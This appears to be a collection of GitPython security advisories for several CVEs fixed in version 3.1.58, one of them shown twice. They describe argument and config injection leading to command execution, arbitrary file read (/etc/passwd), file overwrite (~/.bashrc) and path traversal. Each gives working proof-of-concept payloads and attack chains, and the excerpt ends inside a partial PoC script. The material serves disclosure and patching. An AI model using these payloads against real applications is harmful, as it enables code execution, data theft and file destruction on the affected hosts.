The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as --upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when split_single_char_options is True.

Root Cause

_option_candidates derives value-token candidates only under if len(key)==1 and split_single_char_options: (cmd.py:1048, added by e8d0fbf7). With split_single_char_options=False, _option_candidates([], {"n":"utouch <cmd>;git-upload-pack"}) returns only ['-n'] (not on the denylist), so the guard passes. But transform_kwarg('n', value, split_single_char_options=False) emits the JOINED token -nutouch <cmd>;git-upload-pack (cmd.py:1631). git clusters value-less short flags then parses -u<cmd> = --upload-pack=<cmd> → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) at default allow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing split_single_char_options=False plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).

Proof of Concept

from git import Repo
Repo.clone_from(src, dst,
    n="utouch /tmp/ACE;git-upload-pack",
    split_single_char_options=False)   # /tmp/ACE created -> ACE

Attack Chain

1. Entry: app forwards user kwargs to Repo.clone_from(url, path, **kwargs): {split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.
2. Check: check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes --upload-pack/-u. Bypass proof: _option_candidates yields only ['-n'] (value token skipped because split=False); guard never sees -u.
3. Sink: transform_kwarg emits joined token (cmd.py:1631). argv (observed): ['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].
4. Impact: git clusters -n + -u<cmd> → runs upload-pack command → ACE.

Bypass Evidence

Independently reproduced (gate harness, default allow_unsafe_options=False): the split=False payload created the marker VH05_GATE_ACE (ACE); the clone returned normally (guard bypassed). Control: n='--upload-pack=…' (split default True) → UnsafeOptionError: --upload-pack is not allowed. Fix-commit read: e8d0fbf7 extends candidates only under if len(key)==1 and split_single_char_options: — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit 56806080) does not cover this because the guard only ever receives ['-n'].

Affected Versions

GitPython <= 3.1.57 (code present verbatim on the latest release tag).

Suggested Fix

Make _option_candidates emit value-derived candidates regardless of split_single_char_options (i.e. also for the joined -n<value> form), OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j
• https://nvd.nist.gov/vuln/detail/CVE-2026-76220
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783

More information

Details

GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784

More information

Details

GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.

Severity

• CVSS Score: 8.4 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite

CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838

More information

Details

Summary

IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no -- separator. git read-tree --index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected --index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index and tag; read_tree was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).

Root Cause

from_tree (index/base.py:388), reset (delegates to from_tree), and merge_tree (index/base.py:291) call repo.git.read_tree(*arg_list) with no check_unsafe_options and no --. The treeish is caller-influenced and positional.

Impact

Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.

Proof of Concept

IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc")

##### target overwritten with a valid git-index blob (DIRC...)

Attack Chain

1. Entry: app calls IndexFile.from_tree(repo, treeish) / reset(commit=…) / merge_tree(base=…, rhs=…) with attacker treeish="--index-output=/home/victim/.bashrc".
2. Check: NONE — the methods have no allow_unsafe_options and never call check_unsafe_options.
3. Sink: repo.git.read_tree(*arg_list) — no --. argv (from_tree, observed): ['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'] (last-wins).
4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.

Bypass Evidence

Independently reproduced (gate harness): IndexFile.from_tree(repo,'--index-output=<victim>') → victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after starts DIRC\x00\x00\x00\x02… (destructive clobber, valid index blob). reset(commit=…) and both merge_tree positionals verified. Fix-commit read: 3af0c251 touched only checkout_index+tag; read_tree untouched on HEAD.

Affected Versions

GitPython <= 3.1.57 (sinks present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to from_tree/reset/merge_tree, and/or place a -- separator before the positional treeish arguments; block --index-output (a path-taking option) on this sink.

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p
• https://nvd.nist.gov/vuln/detail/CVE-2026-76219
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-4gmw-gg2m-w46p

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840

More information

Details

Summary

Repo.init() forwards **kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init --template=<dir> copies <dir>/hooks/* into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. --template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never received a guard and needs an independent fix.

Root Cause

Repo.init(path, mkdir, odbt, expand_vars, **kwargs) is a bare git.init(**kwargs) (git/repo/base.py:1435) with no check_unsafe_options and no allow_unsafe_options.

Impact

Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a template= kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default allow_unsafe_options is irrelevant here because Repo.init has no guard at all.

Proof of Concept

##### attacker stages /evil/hooks/post-commit (executable)
from git import Repo
Repo.init(path, template="/evil")

##### next commit runs /evil/hooks/post-commit -> ACE

Attack Chain

1. Entry: attacker stages /evil/hooks/post-commit (executable) and gets the app to call Repo.init(path, template='/evil').
2. Check: NONE on Repo.init. Bypass proof: base.py:1435 is a bare git.init(**kwargs). argv (observed): ['git','init','--template=/evil'].
3. Sink: git copies /evil/hooks/post-commit → <repo>/.git/hooks/post-commit.
4. Impact: next commit runs the hook → arbitrary code execution.

Bypass Evidence

Independently reproduced (gate harness): Repo.init(dst, template='<evil>') → argv ['git','init','--template=<evil>'] unguarded; hook copied into .git/hooks/post-commit; after git commit the INIT_ACE marker was created. --separate-git-dir=<path> is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).

Affected Versions

GitPython <= 3.1.57 (unguarded git.init(**kwargs) present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to Repo.init, consulting a denylist that includes --template and --separate-git-dir (path-taking / hook-installing options).

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r
• https://nvd.nist.gov/vuln/detail/CVE-2026-76218
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-9rj7-rf2p-w77r

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841

More information

Details

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site	git command	that advisory's assessment
IndexFile.remove()	rm	--pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move()	mv	same
HEAD.reset()	reset	same
HEAD.checkout()	checkout	same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site	disclosed?
IndexFile.remove() → git rm	yes, full file
Head.checkout() → git checkout	yes, full file
HEAD.reset() → git reset	no - git reset does not error on unmatched pathspecs
IndexFile.move() → git mv	no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc
• https://nvd.nist.gov/vuln/detail/CVE-2026-76217
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-hh9p-6wh2-4mfc

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843

More information

Details

Summary

The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as --upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when split_single_char_options is True.

Root Cause

_option_candidates derives value-token candidates only under if len(key)==1 and split_single_char_options: (cmd.py:1048, added by e8d0fbf7). With split_single_char_options=False, _option_candidates([], {"n":"utouch <cmd>;git-upload-pack"}) returns only ['-n'] (not on the denylist), so the guard passes. But transform_kwarg('n', value, split_single_char_options=False) emits the JOINED token -nutouch <cmd>;git-upload-pack (cmd.py:1631). git clusters value-less short flags then parses -u<cmd> = --upload-pack=<cmd> → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) at default allow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing split_single_char_options=False plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).

Proof of Concept

from git import Repo
Repo.clone_from(src, dst,
    n="utouch /tmp/ACE;git-upload-pack",
    split_single_char_options=False)   # /tmp/ACE created -> ACE

Attack Chain

1. Entry: app forwards user kwargs to Repo.clone_from(url, path, **kwargs): {split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.
2. Check: check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes --upload-pack/-u. Bypass proof: _option_candidates yields only ['-n'] (value token skipped because split=False); guard never sees -u.
3. Sink: transform_kwarg emits joined token (cmd.py:1631). argv (observed): ['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].
4. Impact: git clusters -n + -u<cmd> → runs upload-pack command → ACE.

Bypass Evidence

Independently reproduced (gate harness, default allow_unsafe_options=False): the split=False payload created the marker VH05_GATE_ACE (ACE); the clone returned normally (guard bypassed). Control: n='--upload-pack=…' (split default True) → UnsafeOptionError: --upload-pack is not allowed. Fix-commit read: e8d0fbf7 extends candidates only under if len(key)==1 and split_single_char_options: — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit 56806080) does not cover this because the guard only ever receives ['-n'].

Affected Versions

GitPython <= 3.1.57 (code present verbatim on the latest release tag).

Suggested Fix

Make _option_candidates emit value-derived candidates regardless of split_single_char_options (i.e. also for the joined -n<value> form), OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j
• https://nvd.nist.gov/vuln/detail/CVE-2026-76220
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-wvpp-8hx9-p66j

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786

More information

Details

• CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
• Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
• Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #​2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path

1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:

   [core]
   	zzz = "A\nhooksPath = ../evil-hooks\
   "
   

   No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
2. The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
3. GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim:

   [core]
   	...
   	zzz = A
   	hooksPath = ../evil-hooks
   

4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions

• A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
  1. Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
  2. The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
  3. Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
• No authentication/role requirement inside GitPython itself.

Evidence

• git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
• git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
• c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
• git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
• PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read)

• Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
• Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
• Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
• Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
• Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
